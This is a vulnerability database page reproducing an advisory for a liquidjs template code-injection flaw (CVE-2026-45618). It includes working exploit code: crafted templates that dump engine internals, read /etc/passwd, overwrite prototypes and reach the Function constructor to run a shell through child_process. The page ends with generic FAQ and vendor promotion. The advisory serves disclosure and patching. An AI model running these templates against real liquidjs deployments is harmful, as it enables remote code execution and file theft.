Vulnerability Database

363,159

Total vulnerabilities in the database

CVE-2026-45618 — liquidjs

Improper Control of Generation of Code ('Code Injection')

Summary

It is possible to execute arbitrary code with crafted templates

Details

<details> <summary> 1|valueOf -> this when evaluating the filter

</summary>

{%assign r=1|valueOf%} {{r|inspect}} {&quot;context&quot;:{&quot;scopes&quot;:[{&quot;r&quot;:&quot;[Circular]&quot;}],&quot;registers&quot;:{},&quot;breakCalled&quot;:false,&quot;continueCalled&quot;:false,&quot;sync&quot;:false,&quot;opts&quot;:{&quot;root&quot;:[&quot;.&quot;],&quot;layouts&quot;:[&quot;.&quot;],&quot;partials&quot;:[&quot;.&quot;],&quot;relativeReference&quot;:true,&quot;jekyllInclude&quot;:false,&quot;keyValueSeparator&quot;:&quot;:&quot;,&quot;extname&quot;:&quot;&quot;,&quot;fs&quot;:{&quot;sep&quot;:&quot;/&quot;},&quot;dynamicPartials&quot;:true,&quot;jsTruthy&quot;:false,&quot;dateFormat&quot;:&quot;%A, %B %-e, %Y at %-l:%M %P %z&quot;,&quot;locale&quot;:&quot;en-US&quot;,&quot;trimTagRight&quot;:false,&quot;trimTagLeft&quot;:false,&quot;trimOutputRight&quot;:false,&quot;trimOutputLeft&quot;:false,&quot;greedy&quot;:true,&quot;tagDelimiterLeft&quot;:&quot;{%&quot;,&quot;tagDelimiterRight&quot;:&quot;%}&quot;,&quot;outputDelimiterLeft&quot;:&quot;{{&quot;,&quot;outputDelimiterRight&quot;:&quot;}}&quot;,&quot;preserveTimezones&quot;:false,&quot;strictFilters&quot;:false,&quot;strictVariables&quot;:false,&quot;ownPropertyOnly&quot;:true,&quot;lenientIf&quot;:false,&quot;globals&quot;:{},&quot;keepOutputType&quot;:false,&quot;operators&quot;:{},&quot;memoryLimit&quot;:null,&quot;parseLimit&quot;:null,&quot;renderLimit&quot;:null},&quot;globals&quot;:{},&quot;environments&quot;:{},&quot;strictVariables&quot;:false,&quot;ownPropertyOnly&quot;:true,&quot;memoryLimit&quot;:{&quot;base&quot;:0,&quot;message&quot;:&quot;memory alloc limit exceeded&quot;,&quot;limit&quot;:null},&quot;renderLimit&quot;:{&quot;base&quot;:0,&quot;message&quot;:&quot;template render limit exceeded&quot;,&quot;limit&quot;:null}},&quot;token&quot;:{&quot;kind&quot;:32,&quot;input&quot;:&quot;{%assign r=1|valueOf%}\n{{r|inspect}}&quot;,&quot;begin&quot;:13,&quot;end&quot;:20,&quot;name&quot;:&quot;valueOf&quot;,&quot;args&quot;:[]},&quot;liquid&quot;:{&quot;renderer&quot;:{},&quot;filters&quot;:{&quot;raw&quot;:{&quot;raw&quot;:true}},&quot;tags&quot;:{},&quot;options&quot;:{&quot;root&quot;:[&quot;.&quot;],&quot;layouts&quot;:[&quot;.&quot;],&quot;partials&quot;:[&quot;.&quot;],&quot;relativeReference&quot;:true,&quot;jekyllInclude&quot;:false,&quot;keyValueSeparator&quot;:&quot;:&quot;,&quot;extname&quot;:&quot;&quot;,&quot;fs&quot;:{&quot;sep&quot;:&quot;/&quot;},&quot;dynamicPartials&quot;:true,&quot;jsTruthy&quot;:false,&quot;dateFormat&quot;:&quot;%A, %B %-e, %Y at %-l:%M %P %z&quot;,&quot;locale&quot;:&quot;en-US&quot;,&quot;trimTagRight&quot;:false,&quot;trimTagLeft&quot;:false,&quot;trimOutputRight&quot;:false,&quot;trimOutputLeft&quot;:false,&quot;greedy&quot;:true,&quot;tagDelimiterLeft&quot;:&quot;{%&quot;,&quot;tagDelimiterRight&quot;:&quot;%}&quot;,&quot;outputDelimiterLeft&quot;:&quot;{{&quot;,&quot;outputDelimiterRight&quot;:&quot;}}&quot;,&quot;preserveTimezones&quot;:false,&quot;strictFilters&quot;:false,&quot;strictVariables&quot;:false,&quot;ownPropertyOnly&quot;:true,&quot;lenientIf&quot;:false,&quot;globals&quot;:{},&quot;keepOutputType&quot;:false,&quot;operators&quot;:{},&quot;memoryLimit&quot;:null,&quot;parseLimit&quot;:null,&quot;renderLimit&quot;:null},&quot;parser&quot;:{&quot;liquid&quot;:&quot;[Circular]&quot;,&quot;fs&quot;:{&quot;sep&quot;:&quot;/&quot;},&quot;loader&quot;:{&quot;options&quot;:{&quot;root&quot;:[&quot;.&quot;],&quot;layouts&quot;:[&quot;.&quot;],&quot;partials&quot;:[&quot;.&quot;],&quot;relativeReference&quot;:true,&quot;jekyllInclude&quot;:false,&quot;keyValueSeparator&quot;:&quot;:&quot;,&quot;extname&quot;:&quot;&quot;,&quot;fs&quot;:{&quot;sep&quot;:&quot;/&quot;},&quot;dynamicPartials&quot;:true,&quot;jsTruthy&quot;:false,&quot;dateFormat&quot;:&quot;%A, %B %-e, %Y at %-l:%M %P %z&quot;,&quot;locale&quot;:&quot;en-US&quot;,&quot;trimTagRight&quot;:false,&quot;trimTagLeft&quot;:false,&quot;trimOutputRight&quot;:false,&quot;trimOutputLeft&quot;:false,&quot;greedy&quot;:true,&quot;tagDelimiterLeft&quot;:&quot;{%&quot;,&quot;tagDelimiterRight&quot;:&quot;%}&quot;,&quot;outputDelimiterLeft&quot;:&quot;{{&quot;,&quot;outputDelimiterRight&quot;:&quot;}}&quot;,&quot;preserveTimezones&quot;:false,&quot;strictFilters&quot;:false,&quot;strictVariables&quot;:false,&quot;ownPropertyOnly&quot;:true,&quot;lenientIf&quot;:false,&quot;globals&quot;:{},&quot;keepOutputType&quot;:false,&quot;operators&quot;:{},&quot;memoryLimit&quot;:null,&quot;parseLimit&quot;:null,&quot;renderLimit&quot;:null}},&quot;parseLimit&quot;:{&quot;base&quot;:0,&quot;message&quot;:&quot;parse length limit exceeded&quot;,&quot;limit&quot;:null}}}}

</details>

<details> <summary> function calls with a controlled first argument via comprable

</summary>

import { Liquid } from &quot;liquidjs&quot;; const engine = new Liquid(); const storeFn = (dst, src) =&gt; { const parts = src.split(&quot;.&quot;); const path = parts.slice(0, -1).join(&quot;.&quot;); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:&quot;0&quot;%} {% assign _gs = _g | where:n,&quot;${prop}&quot;|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign fs = r.liquid.options.fs assign n = &quot;name&quot;%} ${storeFn(&quot;equals&quot;, &quot;fs.readFileSync&quot;)} ${storeFn(&quot;gt&quot;, &quot;fs.readFileSync&quot;)} ${storeFn(&quot;geq&quot;, &quot;fs.readFileSync&quot;)} ${storeFn(&quot;lt&quot;, &quot;fs.readFileSync&quot;)} ${storeFn(&quot;leq&quot;, &quot;fs.readFileSync&quot;)} {{m == &quot;/etc/passwd&quot;}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" />

</details>

<details><summary>changing the prototype of things</summary>

import { Liquid } from &quot;liquidjs&quot;; const engine = new Liquid(); engine.registerFilter(&quot;log&quot;, (val) =&gt; console.dir(val, { depth: 1 })); const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first %} {{m|log}} {% assign __proto__ = r.liquid.parser %} {{m|log}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

<img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" />

</details>

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator&lt;unknown, Template[], string&gt; { const filepath = yield this.loader.lookup(file, type, sync, currentFile) return this.parse(yield this.readFile(!!sync, filepath), filepath) }

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

import { Liquid } from &quot;liquidjs&quot;; const engine = new Liquid(); const storeFn = (dst, src) =&gt; { const parts = src.split(&quot;.&quot;); const path = parts.slice(0, -1).join(&quot;.&quot;); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:&quot;0&quot;%} {% assign _gs = _g | where:n,&quot;${prop}&quot;|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign l = r.liquid assign p = l.parser assign f = l.filters assign n = &quot;name&quot;%} ${storeFn(&quot;equals&quot;, &quot;p.parseFile&quot;)} ${storeFn(&quot;gt&quot;, &quot;p.parseFile&quot;)} ${storeFn(&quot;geq&quot;, &quot;p.parseFile&quot;)} ${storeFn(&quot;lt&quot;, &quot;p.parseFile&quot;)} ${storeFn(&quot;leq&quot;, &quot;p.parseFile&quot;)} ${storeFn(&quot;readFile&quot;, &quot;f.default&quot;)} ${storeFn(&quot;lookup&quot;, &quot;f.raw.handler&quot;)} {% assign loader = m %} {% assign context = m %} {% assign opts = m %} {% assign liquid = m %} {% assign options = m %} {% assign __proto__ = p %} {% assign tagDelimiterLeft = n %} {% assign tagDelimiterRight = n %} {% assign outputDelimiterLeft = &#039;[&#039; %} {% assign outputDelimiterRight = &#039;]&#039;%} {# set to some some function, so that filters[&#039;constructor&#039;] -&gt; Function #} ${storeFn(&quot;filters&quot;, &quot;f.raw.handler&quot;)} {# store Function #} {% assign output = m == &quot;[0|constructor]&quot; | first %} {% assign val = output.value.filters|first %} {# set scope.equals to Function #} ${storeFn(&quot;equals&quot;, &quot;val.handler&quot;)} {% assign RCE = m == &quot;return process.getBuiltinModule(&#039;child_process&#039;).execSync(&#039;sh&#039;,{stdio:&#039;inherit&#039;})&quot; %} {{RCE}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

Impact

What kind of vulnerability is it? Who is impacted? Remote Code Execution.

CVSS v3:

  • Severity: Critical
  • Score: 10
  • AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.